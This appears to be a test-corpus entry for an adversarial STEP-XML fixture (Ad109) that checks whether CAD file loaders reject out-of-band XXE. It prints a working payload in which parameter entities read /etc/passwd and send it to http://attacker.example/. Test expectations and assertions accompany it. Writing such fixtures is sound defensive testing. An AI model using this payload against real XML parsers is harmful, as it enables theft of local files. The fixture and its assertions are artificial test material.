step-examples/12-11-adversarial/Ad109.stp
Sources
- bug-reporter language: "STEP-XML leaks file via parameter entity", "OOB-XXE in STEP loader"
- CWE-611 (XML External Entity)
- OWASP XXE cheat-sheet
Sender
deduced — adversarial input that exercises XML-1.0 parameter-entity expansion plus an external DTD fetch
Description
ISO 10303-28 STEP-XML inherits the full XML-1.0 entity model, including parameter entities (declared with `%`). An adversary uses a chain of parameter entities to read a local file, embed its contents into a synthesised URL, and emit the URL via an external DTD fetch; the classic out-of-band XXE exfiltration. The .stpx file declares `<!ENTITY % file SYSTEM "file:///etc/passwd">` and `<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.example/?x=%file;'>">`, then references `%eval; %exfil;`. A receiver with parameter-entity resolution enabled fetches the file, embeds it into the URL, and POSTs to the attacker. Bug-reporter language: "STEP-XML out-of-band XXE", "parameter entity reads /etc", "exfiltration via DTD fetch".
Reproducer recipe
a `.stpx` file with an internal DTD declaring three parameter entities (`%file` reads the local resource; `%eval` builds a URL containing `%file`'s value; `%exfil` is the attacker URL fetched by the parser); the document body references `%exfil;` inside an attribute value.
Expected kernel behavior
disable parameter-entity resolution by default in the XML parser used for STEP-XML; reject documents that declare parameter entities with external SYSTEM identifiers; treat as adversarial.
Notes
Strongest of the XXE family — combines local-file read with network exfiltration. Synonyms: "OOB-XXE", "parameter entity XXE", "data exfiltration via DTD". Provenance tier: cross-file-state — defect is in the .stpx wrapper, not in the .stp body. **See also**: Ad104, Ad107, Ad108. **OCC behavior**: silently accepts (no diagnostic, empty result); outside catalog's allowed set ({reject}). Kernel-bug witnessed: receivers must reject this fixture per the catalog's stated invariant.
Expected validation
occt=empty/empty gmsh=empty ifc=schema_n/a
Provenance tier
cross-file-state — defect not fully embodied in fixture bytes.
Byte assertions
contains(b'<!DOCTYPE') and contains(b'<!ENTITY %')contains(b'%exfil') or contains(b'%eval') or contains(b'%file')
Tier-3 assertions
load == "ok"
Cross-references
Live oracle output
No live oracle data — run _run_corpus to populate.
Fixture content
Show fixture bytes
1ISO-10303-21; 2/* OOB-XXE parameter-entity attack payload (STEP-XML / ISO 10303-28): 3 <?xml version="1.0" encoding="UTF-8"?> 4 <!DOCTYPE step [ 5 <!ENTITY % file SYSTEM "file:///etc/passwd"> 6 <!ENTITY % eval "<!ENTITY % exfil 7 SYSTEM 'http://attacker.example/?x=%file;'>"> 8 %eval; 9 %exfil; 10 ]> 11 <step:iso_10303_28 xmlns:step="urn:oid:1.0.10303.28.3.1"> 12 <step:header/> 13 <step:data/> 14 </step:iso_10303_28> 15 Receiver must disable parameter-entity resolution by default (CWE-611). 16 %file reads file:///etc/passwd; %eval builds exfil URL; %exfil POSTs 17 the file contents to http://attacker.example/ â OOB-XXE exfiltration. 18*/ 19/* Ad109: STEP-XML parameter-entity injection exfiltrates local file via out-of-band DTD; <!ENTITY % file SYSTEM 'file:///etc/passwd'> reads local file; <!ENTITY % eval '...'> builds attacker URL embedding %file contents; %exfil causes parser to POST /etc/passwd to http://attacker.example/; combines local-file read with network exfiltration (OOB-XXE); receiver must disable parameter-entity resolution by default; must reject documents declaring parameter entities with external SYSTEM identifiers; CWE-611; OWASP XXE cheat-sheet; ISO 10303-28 STEP-XML transfer; GEOMETRIC_CURVE_SET IS model entity â OCC yields empty */ 20HEADER; 21FILE_DESCRIPTION(('Ad109'),'2;1'); 22FILE_NAME('Ad109.stp','2026-06-17T00:00:00',(''),(''),'cad-research-suite','',''); 23FILE_SCHEMA(('AUTOMOTIVE_DESIGN { 1 0 10303 214 3 1 1 }')); 24ENDSEC; 25DATA; 26#1=CARTESIAN_POINT('',(0.0,0.0,0.0)); 27#2=GEOMETRIC_CURVE_SET('',(#1)); 28ENDSEC; 29END-ISO-10303-21;